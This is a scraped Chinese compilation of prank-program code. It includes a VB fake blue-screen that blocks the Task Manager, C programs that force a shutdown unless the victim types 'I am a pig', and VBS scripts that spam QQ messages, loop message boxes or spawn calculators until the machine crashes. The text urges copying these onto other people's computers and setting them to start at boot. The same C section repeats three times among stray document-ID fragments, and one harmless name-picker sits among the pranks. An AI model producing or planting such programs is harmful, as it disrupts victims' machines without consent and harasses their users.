WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

VB编写的课堂随机点名小程序代码

随机点名系统。 综合网上各类小程序,自己修改定制了一款新的小程序。 学生名单.txt 放在同一个目录中。 使用截图如下 Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) '定义常量 Const HWND_TOPMOST = -1 'On Top Const HWND_NOTOPMOST = -2 'No Top Const SWP_NOACTIV A TE = &H10 ' Const SWP_SHOWWINDOW = &H40 ' 'Dim TopOn As Integer Dim ss, mm, nn Dim num(1 To 300) As Integer

Dim j, k As Integer Dim A(500) As String, r As Integer Dim filename As String Private Sub Command1_Click() Dim b As String Dim t, i As Integer filename = App.Path & "\" & "学生名单.txt" Open filename For Input As #1 '产生记录总数以内的随机数x i = 1 While Not EOF(1) Line Input #1, A(i) i = i + 1 Wend c = i Close #1 Start: Randomize t = Int(c * Rnd + 1) For j = 1 To c If t = num(j) Then GoTo Start End If Next Label1.Caption = A(t) k = k + 1 num(k) = t If k = c Then MsgBox "所有人员均已点过!", vbSystemModal Command1.Enabled = False Command3.Enabled = True End If

vb蓝屏整人代码

整人VB小程序:蓝屏死机 本程序启动后,延时指定的时间(默认10秒)后出现蓝屏,模拟蓝屏死机情形。此时,用户无法使用开始菜单、任务管理器,无法操作任何程序,只能干着急。 1 秒钟后,在蓝屏的背景上显示:Your Windows is died 5 秒钟后,显示:Windows 警告内存出现严重错误 10 秒钟后,显示并计数:警告硬盘错误,无法正常运行Windows,Windows 正在试图修复所有错误,请等待100 秒…… 25 秒钟后,显示:警告由于你使用了盗版操作系统微软惩罚你:定期死机 此后,这4 条信息交替显示 结束本程序的方式有两个: 1.用鼠标单击屏幕左上角,连续 5 次(左上角20 个像素范围的区域,大约1 平方厘米的大小) 2.到程序设定的时间后自动结束,默认120 秒。 下面是程序运行截图:

'''以下是窗体代码,在VB6.0 上调试通过: ' 一、在窗体添加一个定时器控件:Timer1,不必设置任何属性,采用默认属性即可 ' 二、在属性窗口将窗体的BorderStyle 属性设置为0 Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Dim ctShowT As Long Private Sub Form_Load() ctShowT = 10 '**** 运行程序后,延时显示蓝屏的时间(秒),可根据自己的喜好设定 ctExitT = 120 '**** 程序自动退出的时间(秒),可根据自己的喜好设定 Me.Hide

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include

int main(void) { system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n");

c语言整人代码

c语言整人代码 Company Document number:WTUT-WT88Y-W8BBGB-BWYTT-19998

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可 执行的文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include<> #include<> int main(void) {

system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include<> #include<> void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) {

c语言整人代码精选文档

c语言整人代码精选文 档 TTMS system office room 【TTMS16H-TTMS2A-TTMS8Q8-

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1:

#include #include int main(void) { system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~源程序2: #include #include void main() { int i=0;

char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a");

VB整人程序代码大全

vbs整人代码大** 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell

几个Hta实用小程序的代码

exe转换16进制的html保存的hta package file v0.1